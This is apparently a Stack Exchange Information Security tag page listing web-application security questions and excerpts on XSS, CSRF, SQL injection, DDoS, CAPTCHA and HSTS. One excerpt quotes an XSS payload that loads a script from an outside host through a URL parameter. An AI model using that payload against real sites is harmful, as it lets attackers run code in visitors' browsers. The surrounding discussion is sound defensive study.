An application that is accessed over a network such as the Internet or an intranet using a browser.

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3answers
755 views

How serious are XSS attacks

A website I visit allows this kind of attack, to be implemented with GET in the URL <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> Along with many others on this page: ...
7
votes
5answers
480 views

How do small businesses handle web app security?

Everything on Owasp's top 10 list, how do current small businesses (< 1000 employees) handle web application security, along with mobile security of their applications? Do they care about info/app ...
7
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4answers
1k views

Escaping JavaScript constants

how can untrusted values be included in a html-page as javascript string constants? Although the case i am asking uses JSF and Rails, I think this is a general problem independent of the server side ...
7
votes
3answers
763 views

Flaws in Crypto Cat

I've heard from several people that Crypto Cat has some security flaws. Has anyone performed an analysis of the system and written a whitepaper? I'm curious what the flaws specifically are and what ...
7
votes
2answers
383 views

Why do some online banking sites (and others who desire secure login pages) sometimes add autocomplete=“off” on their login page input fields?

For example: http://www.natwest.com/x-user.ashx?redirect=trusteer.interstitial.url&condition=trusteer.enabled2%3Dtrue <input name="...." type="text" maxlength="10" ...
7
votes
3answers
550 views

How are large tech sites such as LivingSocial, Zappos, LinkedIn and Evernote hacked?

How are large tech sites such as LivingSocial, Zappos, LinkedIn and Evernote hacked? (i.e. how is their entire dataset of users obtained?) LivingSocial - 50 Million Users Exposed Zappos - 24 Million ...
7
votes
6answers
890 views

how to mitigate a DDoS from botnet on your website that comes from random IPs

I am wondering how do you mitigate a ddos attack which is coming from a botnet and hitting random URLs on a website. If there was a consistent URL it was hitting then it would be fairly simple, and ...
7
votes
6answers
1k views

Facebook account keeps getting hacked, can't seem to figure out why or how?

One of my mate, she has a lot of friends on Facebook, uses it for marketing. Her account keeps getting broken into. Her password gets reset and/or gets locked for changing resetting password too many ...
7
votes
4answers
764 views

Security attacks on PHP web applications

I know about following security attacks on php applications (html,php,js). XSS SQL Injection CSFR Session Hijacking /Fixation Code Injection Remote file injection Should i know about any other or ...
7
votes
2answers
471 views

Should user be allowed to save password in browser?

The auditing company found a bug "The Auto-complete form attribute is set in password field". They suggested to disable autocomplete for this field to prevent disclosure of it "when working on shared ...
7
votes
5answers
6k views

Benefits of identifying clients based upon the “X-Forwarded-For” or similar HTTP header in addition to Client IP

The X-Forwarded-For header is used by some HTTP proxies to identify the IP address of the client. The wiki page (linked above) mentions that ISPs may use this header as well. In addition there are a ...
7
votes
3answers
205 views

Securing an E-commerce site

I'm building a custom e-commerce site, and the user will input their credit card details on the site instead of being directed to the payment gateway's site. I'm confused as to what the critical ...
7
votes
3answers
1k views

Is there a way to bypass Django's XSS escaping with “unicode”?

Django (the Python web framework) escapes output to prevent XSS (Cross Site Scripting) attacks. It replaces ', ", <, >, & with their HTML safe versions. However this presentation on slide ...
7
votes
2answers
415 views

How does external authentication work?

For example, I can log in to stackexchange websites by logging in to external websites such as OpenID, Yahoo, etc. How does this work? How do the websites (SE and Yahoo!, for example) communicate? How ...
7
votes
4answers
258 views

How to determine whether site is secure from common user's point of view?

What should be done (or at least declared) so end-users, visitors will start trusting your website? Some thoughts: secured login (via https) privacy policy (hidden email and other private ...
7
votes
1answer
1k views

What possible use does an iFrame have for security?

I'm looking at code for an old login form I'm redesigning. It's a simple table with two input fields for username and password. But just before the end </table> tag there's a blank iFrame which ...
7
votes
4answers
2k views

SQL injection Are there any instances where a vulnerable url would not contain an 'equals' (=) symbol

I have a question I'm hoping you could help with? I am looking to filter/grep a very long list of spidered url's from my site to only get the url's that could possibly be vulnerable to sql injection. ...
7
votes
6answers
1k views

Fortify360 - Sinks & Sources - Vulnerability count

In an application security environment, I use Fortify Software's Fortify360 on a daily basis. One of my biggest hurdles is explaining the numbers (sources vs sinks) Fortify flags each location in ...
7
votes
3answers
458 views

Is Using MD5 Sufficient Reason to Reject This Payment Processor?

I'm evaluating a credit card processor[1], and I noticed they are using MD5 as part of a salted hash algorithm to protect a secret key. Since I know MD5 is generally considered broken, this feels like ...
7
votes
1answer
5k views

Why is it so hard to close onion domains (e.g. The Silkroad)?

A few months ago when I started to experiment with bitcoin I came across The Silkroad (only accessible via Tor) For those who do not know what Tor is and who do not want to waste their time ...
7
votes
3answers
459 views

Finding security consultant for doing in-depth code review?

We have a PHP application that we know has poor coding practices (because the developers did not have a good understanding of PHP / programming fundamentals). This could lead to the scenario where we ...
7
votes
5answers
339 views

Is there any added security benefit to username complexity requirements?

I've come across several sites lately that have complexity requirements for usernames like "must be 8 characters long and contain at least 2 numbers". Is there any real added benefit to this from a ...
7
votes
4answers
227 views

Limited JavaScript app scenario: Attack vectors and mitigation

I'm going to be developing a single page JavaScript app which allows input via a textarea. This input is never sent to the server, never shown to another user, and will only be persisted in browser ...
7
votes
3answers
1k views

SQL Injection How to inject Clean/Rest URLS

I have a question I'm hoping you could help me with? Unclean url's: http://example.com/index.php?page=foo http://example.com/products?category=2&pid=25 ...
7
votes
2answers
722 views

What is the benefit of the scope in OAuth2?

In the question, substitute scope with state. Since there is an answer based on the wrong question, I'll let everything below as is. The answer is useful nonetheless. This question refers to ...
7
votes
2answers
1k views

PHP - How to do safe input filtering in the light of multibyte encoding vulnerabilities?

For days now I try to get my head round how to write a secure web application in php, and it turns out to be particularly difficult. The more I read, the more I sink in deep swamps full of ...
7
votes
3answers
5k views

How can I find subdomains of a site?

One of the things I need to do from time to time is to find subdomains of a site for example. Starting with example.com sub1.example.com other.example.com another.example.com I'm ...
7
votes
3answers
3k views

CSRF cookie vs session based tokens

I will generate a CSRF token and include it in a hidden form field. When receiving the request, I will check the form value against the value either stored in the user's session or in a cookie. Is it ...
7
votes
3answers
447 views

How important is CAPTCHA on registration pages?

I am working on a site and I would like to add CAPTCHA to the user registration page to prevent user name enumeration. I am working with a front end developer who feels pretty strongly that we should ...
7
votes
2answers
745 views

What unique risks does MVC model binding bring to a website? What additional vigilance is needed?

From what I understand, "model binding" is where a website based on ASP.NET MVC or Ruby on Rails (there are others...) takes parameters in HTTP's GET statement and passes them as variables to code ...
7
votes
5answers
451 views

How to prevent pay per show/click abuse?

We have a webapp. 3rd party websites put our banners on their pages (banner is a snippet of HTML). They are paid for it using "Pay per click" or "Pay per show" methods. So 3rd party website's owners ...
7
votes
2answers
1k views

Is it possible to do HTTP header injection if CR/LF are stripped?

In HTTP response there is the following header with attacker controlled content: Content-Disposition:attachment; filename="attacker_controlled.html" The only characters that can't appear in ...
7
votes
3answers
560 views

Is a mobile app more secure for mobile use than the “normal” website?

An untrained end user who uses a mobile web browser is vulnerable to phishing and can't easily verify the the authenticity (or security) of a website among other issues. Also, it is very easy to ...
7
votes
2answers
222 views

What criteria should be used for manually reviewing / prioritizing failed logins?

I have a web application that is exposed to the Internet, and am interested in creating alerts, or prioritizing the manual review of failed logins to the web application. What thresholds, or ...
7
votes
1answer
1k views

Encrypting sensitive data in software and storing/decrypting it on a server

I have searched IT Security and Google for something similar to this, but wasn't able to find anything remotely related to what I'm doing. I'm developing software which has 2 parts - a C# program run ...
7
votes
1answer
598 views

Strict Transport Security — max_age value

I've been wondering what max-age should the HTTP Strict Transport Security header have. Both paypal and lastpass sites leave it very low: 500 (seconds = bit over 8 minutes) market.android.com has it ...
7
votes
1answer
117 views

What should be included in the ground rules for an attack review?

I've drafted some ground rules for a call for adversarial attack-review. I've tried to cover the following topics: Link to the policy that I want to enforce. Link to a minimal testbed and ...
6
votes
7answers
774 views

Should I prevent sending of GET requests for urls that are normally operated with POST request?

There is an url that is normally operated using POST requests (i.e. POST request is sent when user submits form). But attacker can form GET request with parameters that are sent in POST request. This ...
6
votes
5answers
595 views

Should a closed source website keep a secret key in its source?

Various APIs (such as Facebook or Amazon S3) require a secret key to authenticate access to the service. Obviously, if source code is public, the key should not be in the source! What about for a ...
6
votes
2answers
1k views

Is Access Control Through MAC ADDRESS a practical/secure solution

I run a small local gaming website with a custom admin panel I coded to let trusted members do administrative tasks through the software's API. Since their IP Address is dynamic, can I authenticate ...
6
votes
4answers
397 views

What abuses can an infected webpage do to me if I'm using Chrome and Flash is disabled

as a follow-up to this question Can you get virus just by visiting a website in chrome., I've read these pages: http://www.straightsectalk.com/?p=47 ...
6
votes
3answers
4k views

Is it possible to execute a php script in an image file? [duplicate]

I have an image upload php website. Users can upload images to my website. A user claims he can hack my website using an uploaded image. I opened all the images that he uploaded to my server with ...
6
votes
3answers
7k views

Does X-Content-Type-Options really prevent content sniffing attacks?

In Tangled Web Michal Zalewski says: Refrain from using Content-Type: application/octet-stream and use application/binary instead, especially for unknown document types. Refrain from returning ...
6
votes
4answers
3k views

Why Do we Need CAPTCHA? In what case we should use it?

In what case we should implement Captcha based security?. How accurate it is and if there exists any alternatives for Captcha based Security.
6
votes
4answers
570 views

Secure Web Password Fields + http to https redirect

I'm a software developer but I'm marking my niche in secure development. It turns out that while using WebScarab, I discovered that a popular user group site doesn't appear to properly take care of ...
6
votes
4answers
437 views

Banking application login leaks information

My question is regarding the online banking application of a large credit card organisation. The login process for this application works as follows: User visits the homepage of the bank. User ...
6
votes
5answers
3k views

Why are iframes allowed at all in modern browsers?

I read a number of IT security blogs (though I'm no security expert), and it seems a significant percentage of exploits in the wild are delivered through adding malicious iframes to a hacked website, ...
6
votes
3answers
342 views

What sort of delay will deter a robot from crawling my site?

I use what I believe is the standard method of identifying bad bots that do not respect my robots.txt (i.e. disallowing crawling the bad-bots subdirectory, then logging those who still go there). So ...
6
votes
1answer
503 views

Google showing spam links on my site

When I search the name of my site on Google, I see site links description which are spammy and not related to my site. Sometimes when I click I get redirect to phishing sites. But I have used many ...
6
votes
3answers
149 views

Is it safe to store hashes of possibly non-existing passwords in a less safe way?

I would like to implement a lockout mechanism that not only protects against same username and many passwords attacks, but many usernames and same password attacks too. To implement this I figured I ...